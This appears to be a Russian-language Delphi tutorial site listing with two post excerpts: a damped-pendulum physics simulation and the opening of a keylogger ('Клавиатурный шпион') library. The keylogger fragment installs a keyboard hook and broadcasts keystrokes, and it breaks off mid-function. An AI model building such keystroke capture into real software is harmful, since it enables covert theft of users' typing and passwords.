Примеры на Delphi → Маятник. Исходник на Delphi

Думкин
exp(-at)*sin(b0+bt)
----------------------------------------
jeer А мы пойдем другим путем:))

Попробуем смоделировать движение физического маятника, т.е. будем решать
численными методами уравнения движения.
Что имеем:
- груз массой m в условиях действия гравитационного поля подвешен на нерастяжимом безинерционном стержне длиной l и отклонен от нормали на угол a0;
- во время движения под действием силы тяжести на груз действуют тормозящие силы:
- аэродинамическая fa = cx * vt^2;

Опубликовал admin
17 Апр, Вторник 2007г.

Примеры на Delphi → Клавиатурный шпион (пример на delphi)

library kbdhook;
uses sysutils, windows, messages;
const
swm_kbdhook = 'swm_kbdhook';
var
wm_kbdhook : integer = 0;
var
hookhandle : thandle = 0;

function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
begin
if code < 0 then
result := callnexthookex( hookhandle, code, wparam, lparam )
else begin
postmessage( hwnd_broadcast, wm_kbdhook, wparam, lparam );

Опубликовал admin
11 Мар, Воскресенье 2007г.


RSS-материал

Программирование для чайников.